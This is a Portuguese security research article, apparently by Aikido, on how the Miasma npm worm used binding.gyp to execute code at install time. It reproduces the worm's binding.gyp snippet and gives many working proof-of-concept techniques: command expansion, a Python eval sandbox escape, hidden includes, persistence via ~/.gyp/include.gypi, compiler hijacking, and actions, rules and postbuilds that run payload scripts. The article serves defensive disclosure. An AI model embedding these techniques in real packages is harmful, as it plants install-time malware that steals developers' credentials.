
Faz apenas alguns dias desde que o O ataque Miasma atingiu 32 pacotes oficiais da Red Hat no npm. O worm adicionou um script malicioso preinstall a cada pacote comprometido, de modo que node index.js fosse executado automaticamente no momento em que a dependência fosse instalada, coletando credenciais da Cloud, tokens CI, chaves SSH e muito mais, antes mesmo de você executar uma única linha do seu próprio código.
Nos dias seguintes, o Miasma se espalhou muito além de seus alvos iniciais, atingindo vários outros pacotes no npm, PyPI e GitHub, incluindo @vapi-ai/server-sdk (71 mil downloads semanais) e ai-sdk-ollama (31 mil downloads semanais).
No entanto, esta nova onda vem com um novo truque.
Se você auditou um desses pacotes, olhou para o seu package.json, não viu nenhum preinstall ou postinstall hook, e concluiu que era seguro instalar, pense novamente. A variante mais recente moveu seu gatilho para fora do package.json inteiramente e para um arquivo muito menos escrutinado que o npm executará alegremente para você no momento da instalação: binding.gyp.
Neste artigo, farei uma análise aprofundada sobre binding.gyp. Analisaremos o que é, por que o npm o executa e o número surpreendente de maneiras pelas quais ele pode ser abusado para executar código arbitrário, desde evasão de sandbox para sequestro de compilador, tudo isso parecendo um arquivo de build inocente.
O que são node-gyp e binding.gyp?
Muitos pacotes npm não são JavaScript puro. Eles vêm com add-ons nativos escritos em C ou C++ que precisam ser compilados em um binário antes que o Node possa carregá-los. A ferramenta responsável por essa etapa de compilação é node-gyp, uma ferramenta de build multiplataforma que o npm empacota e invoca para você. É um wrapper em torno do GYP, que significa Generate Your Projects, um sistema de build que o Google originalmente criou para o projeto Chromium. No entanto, o Google removeu o Chromium dele e parou de mantê-lo, então o node-gyp agora depende de um fork mantido pelo Node.js.
node-gyp sabe o que construir lendo um arquivo chamado binding.gyp que reside na raiz do pacote. É um arquivo semelhante a JSON que descreve o build (tecnicamente um literal Python, o que importará mais tarde). Ele descreve quais arquivos-fonte compilar, quais diretórios de inclusão usar e assim por diante. Um binding.gyp poderia ser assim:
{
"targets": [
{
"target_name": "addon",
"sources": ["src/addon.cc"]
}
]
}
No entanto, isso pode facilmente se tornar um problema de segurança. Quando o npm instala um pacote e nota um binding.gyp em sua raiz, ele é executado automaticamente node-gyp rebuild para aquele pacote como parte da instalação. O pacote não precisa registrar nenhum script em package.json para que isso aconteça. A mera presença de um arquivo binding.gyp é suficiente para que o código seja executado durante a instalação.
Assim, mesmo um pacote com um arquivo completamente limpo package.json, com zero hooks de ciclo de vida, irá acionar a toolchain gyp no momento da instalação simplesmente porque o arquivo existe.
Como Miasma o explorou
Aqui está um trecho real do que o worm inseriu nos pacotes comprometidos:
{
"targets": [
{
"target_name": "Setup",
"type": "none",
"sources": ["<!(node index.js > /dev/null 2>&1 && echo stub.c)"]
}
]
}À primeira vista, isso parece um build target chamado Configuração com um único arquivo-fonte. Olhe mais de perto para o array sources . Em vez de um nome de arquivo simples, ele contém uma string envolvida na sintaxe <!(...).
Isso <!(...) é um recurso do gyp chamado de expansão de comando. Quando o gyp analisa este arquivo, ele não trata o conteúdo como uma string literal. Ele executa o comando shell encapsulado e substitui a saída do comando de volta no campo.
Então, quando o gyp node-gyp processa o target, ele executa:
node index.js > /dev/null 2>&1 && echo stub.cAnalisando isso:
node index.jsexecuta o payload malicioso. Esteindex.jsé o mesmo payload Miasma que vimos nos ataques anteriores da Red Hat, o ladrão de credenciais ofuscado e o worm desta campanha.> /dev/null 2>&1descarta toda a saída, para que nada suspeito apareça nos logs de instalação.&& echo stub.cimprime um nome de arquivo inofensivo. O Gyp captura isso como o valor da entradasources, então o build continua e nada parece quebrado.
O payload é executado, permanece silencioso e o build é concluído normalmente. Nenhum hook de pré-instalação é necessário.
A sintaxe de expansão e por que ela é ainda pior do que parece
O GYP oferece, na verdade, diversas formas de expansão de comando:
<!(command)/>!(comando)/^!(comando)– executa o comando e substitui sua saída bruta como uma única string.<!@(command)/>!@(comando)/^!@(comando)– executa o comando e divide sua saída em uma lista, o que é útil onde o gyp espera um array.<!pymod_do_main(module args)– importamódulocomo um módulo Python e chama suaDoMain()função, usando o valor de retorno como a substituição.<|(name item1 item2 ...)cria um arquivo chamadonomeno tempo de parse, com cada item em sua própria linha.
Todos esses são executados no tempo de parse, antes que qualquer compilação realmente aconteça.
Intuitivamente, você esperaria que isso só acontecesse em campos documentados reais como sources, bibliotecas ou include_dirs. Essa intuição está errada, e é aqui que as coisas começam a ficar interessantes.
GYP não limita a expansão de comandos a uma lista conhecida de campos. Quando ele carrega um .gyp , ele percorre toda a estrutura analisada recursivamente e expande <!(...) e <!@(...) dentro de qualquer valor de string que encontra, independentemente da chave à qual essa string pertence. Não há um esquema que diga "apenas esses nomes de campo são permitidos."
Na prática, isso significa que um atacante pode inventar um nome de campo (como alguma_chave_aleatória) que não existe na documentação do gyp, e o comando dentro dele ainda será executado:
{
"some_random_key": "<!(node evil.js && echo 0)",
"targets": []
}Não existe nenhum alguma_chave_aleatória campo no gyp. Não precisa ser um. A string sob essa chave contém um <!(...) token, a passagem de expansão recursiva o alcança, e o comando é executado. É isso que torna a revisão desses tão dolorosa. Você não pode simplesmente verificar os poucos campos que espera serem perigosos, porque o payload pode estar oculto sob qualquer chave, e em qualquer profundidade, no arquivo.
O Escape do sandbox
Achou que as expansões de comando eram arriscadas? A situação só piora a partir daqui.
Até agora, tratamos binding.gyp como um arquivo JSON um pouco incomum com alguns recursos extras. Nos bastidores, é na verdade um dicionário Python, e ele entrega o arquivo diretamente ao mecanismo do Python eval(). Entende aonde quero chegar com isso?
Isso mesmo: o arquivo que o npm executa para você no momento da instalação é analisado por eval. Os autores do gyp não eram cegos a como isso poderia ser abusado, então eles chamam eval com os builtins removidos:
eval(file_contents, {"__builtins__": {}}, None)A ideia é que, sem funções built-in disponíveis, um atacante que controla o arquivo gyp não pode acessar nada perigoso, como executar um comando shell ou ler arquivos do disco. Os blocos de construção que você normalmente usaria para isso, como __import__ para carregar o os ou open para tocar um arquivo, todos foram removidos. É um sandbox clássico. No entanto, como quase toda tentativa de isolar o Python eval, ele pode ser escaped.
Podemos sair diretamente desse sandbox e fazer o GYP executar código Python arbitrário. Aqui está um exemplo malicioso completo binding.gyp, na íntegra:
[c for c in ().__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').system('node evil.js')É isso. Esse é o arquivo inteiro. Nenhuma sintaxe JSON é necessária. Não usamos nenhuma das usuais targets ou sources campos que você esperaria ver em um arquivo gyp. Apenas uma única expressão Python. Funciona porque, antes node evil.js é chamada, a expressão executa um pequeno truque para escapar do eval()sandbox.
As funções perigosas foram removidas, mas os objetos inofensivos que você ainda pode tocar silenciosamente mantêm referências ocultas a elas. Começando pela tupla vazia inofensiva (), ele salta pelas relações internas de objetos do Python até encontrar algo que ainda mantém uma referência às funções que foram removidas, as captura e usa isso para importar o os módulo e executar o comando shell node evil.js.
E isso é executado no momento em que alguém executa npm install <package>, puramente como um efeito colateral da análise do arquivo pelo gyp.
Como toda a sintaxe gyp é essencialmente apenas um dicionário Python, a expressão pode ser inserida em qualquer valor de um arquivo de build que, de outra forma, pareceria completamente normal:
{
"variables": {
"module_name": "fast_crypto",
"openssl_fips": [c for c in ().__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').system('node evil.js') or "",
},
"targets": [
{
"target_name": "<(module_name)",
"sources": ["src/binding.cc", "src/crypto.cc"],
"include_dirs": ["<!(node -p \"require('node-addon-api').include\")"],
"defines": ["NAPI_VERSION=8"],
}
]
}
Este é um binding.gyp que realmente construiria um módulo nativo. O payload está oculto dentro do openssl_fips variável, feito para se misturar com o restante do arquivo de build. Nenhuma <!(...) expansão de comando foi necessária.
As condições seguem a mesma lógica. O GYP permite que um arquivo de build aplique diferentes configurações dependendo do ambiente, através de uma condições chave.
"conditions": [
["OS=='win'", { "sources": ["socket_win.cc"] }],
["OS=='linux'", { "defines": ["LINUX"] }],
]
Essas strings de condição, "OS=='win'", são destinadas a serem pequenas verificações booleanas. Mas o gyp as avalia da mesma forma que analisa o arquivo: ele compila cada uma e as executa através de eval(), com os mesmos builtins removidos. Isso significa que uma condição pode, de fato, conter qualquer expressão Python arbitrária. Usando o mesmo truque de escape do sandbox, podemos transformar o condições campo em outro vetor de ataque a ser considerado:
"conditions": [
["[c for c in ().__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').system('node evil.js') == 0", {}],
]
Acabamos de mostrar como converter binding.gyp em um executor de código arbitrário que é executado no momento da instalação (sem quaisquer hooks de pós-instalação).
Você pode se perguntar por que tudo isso importa tanto. Já temos várias maneiras de executar código no momento da instalação. Existe postinstall em package.json. Existem expansões de comando em binding.gyp.
A diferença aqui é que os recursos reais e documentados são arriscados, mas arriscados de uma forma que o ecossistema já entende. Um revisor sabe ler o scripts bloco em package.json. Um scanner pode ser configurado para sinalizar <!(...) expansões. Podemos antecipá-las, escrever regras para elas e nos defender delas, precisamente porque elas deveriam existir.
Escapar de uma sandbox é um tipo diferente de problema, porque nada disso foi intencional. Ninguém nunca espera binding.gyp apenas hospedar código Python puro que é executado no momento da instalação.
Ocultando código em arquivos incluídos
Até agora, cada payload residiu dentro de um único binding.gyp arquivo. Não precisa.
binding.gyp suporta um includes chave. Seu propósito é fatorar configurações de build compartilhadas em um arquivo separado e puxá-las para múltiplos alvos ou projetos, para que você não se repita. Quando o gyp encontra uma includes entrada, ele carrega esse arquivo e mescla seu conteúdo com o atual antes do processamento.
O problema é que o arquivo incluído é processado exatamente como o principal binding.gyp, o que significa que cada truque de expansão ou evasão de sandbox das seções anteriores também se aplica dentro dele. Um atacante pode mover o payload para fora de binding.gyp e para um arquivo incluído, deixando o arquivo principal com a aparência de um arquivo de configuração de build normal:
{
"includes": ["evil"],
"targets": [...]
}O incluído evil arquivo pode então carregar o payload real, que pode novamente ser ocultado sob uma chave arbitrária, em qualquer profundidade no arquivo.
{
"anyrandomname": {
"somethingarbitrary": "<!(node evil_script.js && echo 0)"
}
}Duas coisas tornam isso ótimo para um atacante e ruim para um revisor. Primeiro, o arquivo incluído pode ter qualquer nome. Ele não precisa de uma .gyp ou .gypi extensão. Ele só precisa conter dados formatados em JSON válidos. Um arquivo inocentemente chamado config ou LICENSE funciona tão bem quanto.
Em segundo lugar, includes são transitivos. Um arquivo incluído pode, por sua vez, incluir outro arquivo, que pode incluir outro, e assim por diante. Agora, o payload de tempo de instalação que realmente é executado pode estar a três ou quatro arquivos de distância do binding.gyp que você começou a analisar.
Auto-inclusões e persistência
Acha que pegou o jeito das inclusões agora? Há uma reviravolta: você nem precisa de uma includes chave, porque o node-gyp puxa alguns arquivos por conta própria.
Quando o node-gyp configura uma build, ele procura por dois arquivos na raiz do pacote, config.gypi e common.gypi, e inclui forçadamente qualquer um que encontre, exatamente como se você os tivesse listado em includes. Eles são processados como qualquer outro arquivo gyp, então todos os truques das últimas seções funcionam dentro deles. O problema para um revisor é que nada em binding.gyp os aponta. Um binding.gyp pode ser um único par de chaves vazio e ainda extrair um payload de um arquivo irmão config.gypi:
{ }{
"variables": {
"anything": "<!(node evil.js && echo 0)"
}
}O primeiro arquivo é o arquivo completo. binding.gyp. O segundo é config.gypi, que fica silenciosamente ao lado dele, e é executado na instalação.
Isso é ruim, mas o próximo é pior. O node-gyp também auto-inclui ~/.gyp/include.gypi, resolvido a partir do diretório home do usuário, em cada build gyp que esse usuário executa. Não neste projeto, mas em todos os projetos. Solte um payload lá uma vez e ele persistirá em cada build nativa npm install com um binding.gyp que você fizer novamente.
Puxando código através de dependências
Separado de includes, targets gyp podem declarar dependências em outros alvos definidos em arquivos completamente diferentes .gyp arquivos.
Como uma dependência aponta para outro arquivo gyp, e esse arquivo é analisado e expandido como qualquer outro, as dependências fornecem a um atacante uma segunda forma, independente, de alcançar código em outro arquivo:
{
"targets": [
{
"target_name": "main",
"type": "none",
"dependencies": ["dep.gyp:dep_target"]
}
]
}O arquivo referenciado dep.gyp então hospeda o payload dentro de um de seus alvos:
{
"targets": [
{
"target_name": "dep_target",
"type": "none",
"sources": ["<!(node malicious.js && echo stub.c)"]
}
]
}Assim como em includes, o nome do arquivo referenciado é irrelevante, desde que contenha dados válidos formatados em JSON. E assim como includes, estas dependências também podem ser transitivas.
Sequestro de compilador
O binding.gyp também controla como o código nativo é construído, qual compilador invocar e quais flags passar a ele, e esse controle se torna seu próprio vetor de ataque.
Uma build nativa precisa saber qual compilador usar e quais opções passar a ele. O Gyp expõe isso em dois lugares:
- configurações por alvo como
cflags,defines, einclude_dirs. make_global_settings(Linux / macOS) – um bloco de nível superior em um arquivo gyp que define a toolchain para toda a compilação:- o compilador C (
CC) - o compilador C++ (
CXX) - o linker (
LINK) - o arquivador (
AR) - flags do compilador (
CFLAGS) - flags do linker (
LDFLAGS)
- o compilador C (
Como a compilação ocorre no momento da instalação, um ator mal-intencionado poderia substituir o compilador, apontando-o para seu próprio script:
{
"make_global_settings": [
["CC", "<(module_root_dir)/cc-evil.sh"]
],
"targets": [
{
"target_name": "addon",
"type": "static_library",
"sources": ["src/addon.c"]
}
]
}Agora a build executa cc-evil.sh como o compilador para cada etapa de compilação, onde cc-evil.sh poderia ser assim:
node "$(dirname "$0")/evil.js"
exec cc "$@"O script pode fazer o que quiser (como executar evil.js) e então chamar o compilador real para que a build ainda seja bem-sucedida, e ninguém perceba.
O GYP inclusive possui uma convenção dedicada para isso, destinada a launchers de compiladores como o ccache. Uma *_wrapper chave precede seu programa na frente do compilador real:
{
"make_global_settings": [
["CC", "/usr/bin/cc"],
["CC_wrapper", "<(module_root_dir)/cc-evil-wrapper.sh"]
],
"targets": [
{
"target_name": "addon",
"type": "static_library",
"sources": ["src/addon.c"]
}
]
}Aqui o gyp executa cc-evil-wrapper.sh /usr/bin/cc ..., passando ao script malicioso o compilador real como um argumento.
Além disso, um atacante nem mesmo precisa substituir o compilador. Eles podem simplesmente passar flags, e o gyp escreve essas flags no arquivo de build gerado. Em uma build baseada em make, as flags se tornam make variáveis, e make pode avaliar um $(shell) comando que encontra dentro de uma delas. Assim, um valor de flag pode ser sequestrado para carregar um comando malicioso.
Existem dois locais para injetar. No próprio alvo, por exemplo, através de cflags (ou xcode_settings no macOS):
{
"targets": [
{
"target_name": "addon",
"type": "static_library",
"sources": ["src/addon.c"],
"cflags": ["$(shell node <(module_root_dir)/evil.js)"]
}
]
}Ou globalmente para cada alvo, através de make_global_settings:
{
"make_global_settings": [
["CFLAGS", "$(shell node <(module_root_dir)/evil.js)"]
],
"targets": [
{
"target_name": "addon",
"type": "static_library",
"sources": ["src/addon.c"]
}
]
}Quando a build é executada, o malicioso $(shell ...) comando é executado, e a saída do comando é passada para o compilador como um flag inofensivo, para que a build prossiga com sucesso.
O mecanismo exato para sequestrar um compilador pode diferir por ferramenta de build e sistema operacional. No entanto, o principal é que as configurações do compilador e do linker devem ser tratadas como código, já que ferramentas de build como make podem avaliar o que está dentro delas no npm install tempo de execução.
Executando código através de ações
Até agora, cada vetor dependeu da expansão de comandos, evasão de sandbox ou sequestro de compilador. GYP possui outro recurso que executa comandos por design: ações.
Uma ação é uma etapa de build anexada a um alvo que executa um comando arbitrário, normalmente para gerar um arquivo-fonte ou processar alguma entrada antes da compilação. É um recurso documentado que reside dentro do ações array. Cada ação nomeia um comando a ser executado, suas entradas e suas saídas.
Como o objetivo principal de uma ação é executar um comando, um atacante nem precisa da sintaxe de expansão aqui. Eles podem simplesmente pedir ao gyp para executar seu payload diretamente:
{
"targets": [
{
"target_name": "via_actions",
"type": "none",
"actions": [
{
"action_name": "poc_action",
"inputs": [],
"outputs": ["poc_action_done"],
"action": ["node", "evil.js"]
}
]
}
]
}Quando o alvo é construído, o gyp executa node evil.js. Sem <!(...) necessário, nenhum arquivo-fonte para compilar, apenas uma etapa de build cujo único trabalho é executar um comando.
Existe um parente próximo que vale a pena conhecer: regras. Uma regra é como uma ação, exceto que ela é acionada uma vez por arquivo de entrada que corresponde a uma determinada extensão. Aponte uma regra para um arquivo com a extensão correta, e seu comando é executado para aquele arquivo:
{
"targets": [
{
"target_name": "via_rules",
"type": "none",
"sources": ["trigger.poc"],
"rules": [
{
"rule_name": "poc_rule",
"extension": "poc",
"outputs": ["<(RULE_INPUT_ROOT).done"],
"action": ["node", "evil.js"]
}
]
}
]
}Aqui, o alvo lista um único arquivo-fonte, trigger.poc. A regra diz que para cada arquivo de entrada que termina em .poc, gyp deve rodar node evil.js. O atacante controla ambas as partes, então ele envia um arquivo descartável com a extensão correspondente, e a regra é acionada contra ele no momento da compilação. O efeito é o mesmo de uma ação, com o gatilho sendo um arquivo correspondente em vez do próprio alvo.
Há um terceiro membro desta família, postbuilds, um comando que é executado após a construção de um alvo. Ele contém o mesmo tipo de ação array:
{
"targets": [
{
"target_name": "via_postbuilds",
"type": "none",
"postbuilds": [
{
"postbuild_name": "poc_postbuild",
"action": ["node", "evil.js"]
}
]
}
]
}A principal conclusão é que um binding.gyp o arquivo executa código no momento da instalação, exatamente como um preinstall ou postinstall hook em package.json, então merece exatamente a mesma suspeita. A presença de binding.gyp em uma dependência significa que o código pode ser executado durante a instalação, independentemente do que package.json diz. Um package.json sem scripts de instalação não é mais prova de que nada é executado.
As equipes de segurança devem estar atentas aqui. As pessoas por trás de ataques à cadeia de suprimentos como o Miasma estão claramente procurando novas maneiras de executar código no momento da instalação, e binding.gyp é fácil de ser ignorado, especialmente quando envolve comportamento não documentado, como os escapes de sandbox. Seria ingênuo supor que esta é a última vez que veremos isso.
Como a Aikido detecta isso
Se você é um usuário Aikido, verifique seu feed central e filtre por problemas de malware. A recente campanha Miasma, que agora usa a execução binding.gyp no momento da instalação, aparece como um problema crítico 100/100. O Aikido faz novas varreduras todas as noites, mas recomendamos acionar uma nova varredura manual imediatamente se você acha que pode ter sido afetado.
Ainda não é um usuário Aikido? Crie uma conta e conecte seus repositórios. Nossa cobertura de malware está incluída no plano gratuito, não é necessário cartão de crédito.
Para uma camada extra, o Device Protection do Aikido oferece visibilidade e controle sobre os pacotes de software instalados nos dispositivos da sua equipe, cobrindo extensões de navegador, bibliotecas, plugins e dependências.
Para impedir que um pacote como este chegue à etapa de instalação, use o Aikido Safe Chain (código aberto). Ele se integra ao seu fluxo de trabalho existente, interceptando comandos npm, npx, yarn, pnpm e pnpx e verificando pacotes contra o Aikido Intel antes da instalação.

